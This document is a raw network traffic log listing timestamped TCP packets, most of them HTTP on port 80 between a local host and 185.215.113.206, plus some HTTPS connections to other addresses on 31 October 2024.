Oct 31, 2024 03:04:34.045130968 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.045150042 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.045227051 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045241117 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045262098 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045272112 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045281887 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045284033 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.045294046 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045301914 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.045320034 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045329094 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.045330048 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045341015 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045373917 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.045394897 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.045412064 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045423031 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045433998 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045464039 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.045471907 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.045490026 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045500994 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045523882 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045535088 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045543909 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045598030 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.045620918 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045630932 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045640945 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045650959 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.045663118 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.045690060 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045691013 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.045701981 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045712948 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045722961 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045733929 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045737028 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.045746088 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045761108 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.045792103 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.045855045 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045871973 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045882940 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045893908 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045896053 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.045905113 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045913935 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.045916080 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045928955 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045939922 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045941114 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.045973063 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.045983076 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.160672903 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.160698891 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.160712004 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.160722971 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.160734892 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.160746098 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.160758018 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.160775900 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.160784006 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.160794973 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.160799026 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.160811901 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.160824060 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.160840988 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.160862923 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.160887003 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.160898924 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.160909891 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.160919905 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.160933971 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.160953045 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.160954952 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.160965919 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.160974026 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.160984039 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.160991907 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.160998106 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161026955 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.161051035 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.161067963 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161078930 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161087990 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161098003 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161108017 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161124945 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161133051 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.161137104 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161161900 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.161178112 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.161197901 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161210060 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161218882 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161230087 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161240101 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161245108 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.161251068 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161272049 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.161287069 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.161328077 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161339045 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161349058 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161359072 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161375046 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.161384106 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161392927 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.161400080 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161443949 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161451101 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.161456108 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161472082 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161483049 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161489964 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.161494017 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161504984 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161516905 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.161535025 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.161544085 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161557913 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.161561012 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161571026 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161581993 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161581993 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.161592960 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161600113 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.161603928 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161607981 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.161629915 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.161649942 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.161669970 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161680937 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161690950 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161706924 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161726952 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161732912 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.161742926 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161756039 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161761045 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.161767960 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161781073 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.161788940 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161799908 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161809921 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161819935 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.161820889 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161839008 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.161839008 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.161866903 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.161887884 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161897898 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161906958 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161919117 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.161937952 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.161977053 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.162200928 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.162239075 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.162245035 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.162251949 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.162261963 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.162290096 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.162308931 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.162338972 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.162350893 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.162364006 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.162388086 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.162410021 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.162439108 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.162451029 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.162461042 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.162472963 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.162483931 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.162494898 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.162532091 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.162532091 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.162564993 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.162575960 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.162586927 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.162600994 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.162610054 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.162612915 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.162636995 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.162656069 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.162789106 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.162800074 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.162811041 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.162822008 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.162825108 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.162832975 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.162841082 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.162846088 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.162856102 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.162867069 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.162867069 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.162878036 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.162902117 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.162929058 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.162940025 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.162946939 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.162950039 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.162960052 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.162971973 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.162976027 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.162981987 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.162983894 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.162983894 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.162992954 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.163008928 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.163012028 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.163019896 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.163029909 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.163031101 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.163049936 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.163053989 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.163065910 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.163072109 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.163075924 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.163089037 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.163103104 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.163110971 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.163120031 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.163120031 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.163129091 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.163137913 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.163155079 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.163166046 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.163166046 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.163176060 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.163189888 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.163208008 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.163229942 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.163229942 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.163244009 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.163253069 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.163280964 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.163290977 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.197242975 CET	443	49889	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.197343111 CET	443	49888	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.197912931 CET	49889	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.197926044 CET	49888	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.197933912 CET	443	49889	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.197999001 CET	443	49888	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.198398113 CET	49889	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.198404074 CET	443	49889	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.198497057 CET	49888	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.198510885 CET	443	49888	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.206934929 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.206996918 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.207180977 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.207413912 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.231596947 CET	443	49890	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.236118078 CET	49890	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.236136913 CET	443	49890	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.236777067 CET	49890	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.236783028 CET	443	49890	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.241960049 CET	443	49896	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.242234945 CET	49896	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.242252111 CET	443	49896	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.242805004 CET	443	49895	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.243000984 CET	49895	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.243020058 CET	443	49895	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.243323088 CET	443	49896	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.243386030 CET	49896	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.244520903 CET	49896	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.244551897 CET	443	49895	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.244585037 CET	443	49896	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.244616985 CET	49895	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.244978905 CET	49895	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.245066881 CET	443	49895	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.245110989 CET	49896	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.245119095 CET	443	49896	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.245321035 CET	49895	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.245327950 CET	443	49895	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.245965958 CET	443	49894	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.246155977 CET	49894	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.246170044 CET	443	49894	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.248429060 CET	443	49891	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.248652935 CET	49891	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.248665094 CET	443	49891	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.248996973 CET	443	49891	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.249365091 CET	49891	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.249418974 CET	443	49891	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.249515057 CET	49891	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.249819994 CET	443	49894	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.249855042 CET	443	49892	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.249885082 CET	49894	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.250169992 CET	49894	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.250324011 CET	49892	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.250329018 CET	443	49892	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.250339031 CET	443	49894	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.250401020 CET	49894	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.251404047 CET	443	49892	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.251461983 CET	49892	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.251748085 CET	49892	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.251795053 CET	443	49892	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.251852036 CET	443	49893	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.251883030 CET	49892	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.252063036 CET	49893	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.252073050 CET	443	49893	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.253078938 CET	443	49893	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.253139019 CET	49893	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.253412008 CET	49893	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.253472090 CET	443	49893	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.253561020 CET	49893	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.273514986 CET	443	49887	20.1.248.118	192.168.2.5
Oct 31, 2024 03:04:34.273797035 CET	49887	443	192.168.2.5	20.1.248.118
Oct 31, 2024 03:04:34.273808002 CET	443	49887	20.1.248.118	192.168.2.5
Oct 31, 2024 03:04:34.274861097 CET	443	49887	20.1.248.118	192.168.2.5
Oct 31, 2024 03:04:34.274918079 CET	49887	443	192.168.2.5	20.1.248.118
Oct 31, 2024 03:04:34.275913000 CET	49887	443	192.168.2.5	20.1.248.118
Oct 31, 2024 03:04:34.275998116 CET	443	49887	20.1.248.118	192.168.2.5
Oct 31, 2024 03:04:34.276086092 CET	49887	443	192.168.2.5	20.1.248.118
Oct 31, 2024 03:04:34.276093960 CET	443	49887	20.1.248.118	192.168.2.5
Oct 31, 2024 03:04:34.278269053 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.278281927 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.278306961 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.278315067 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.278322935 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.278330088 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.278331995 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.278359890 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.278399944 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.278438091 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.278450012 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.278462887 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.278476000 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.278510094 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.278516054 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.278522015 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.278533936 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.278549910 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.278567076 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.278577089 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.278580904 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.278604031 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.278630972 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.278695107 CET	80	49823	185.215.113.206	192.168.2.5
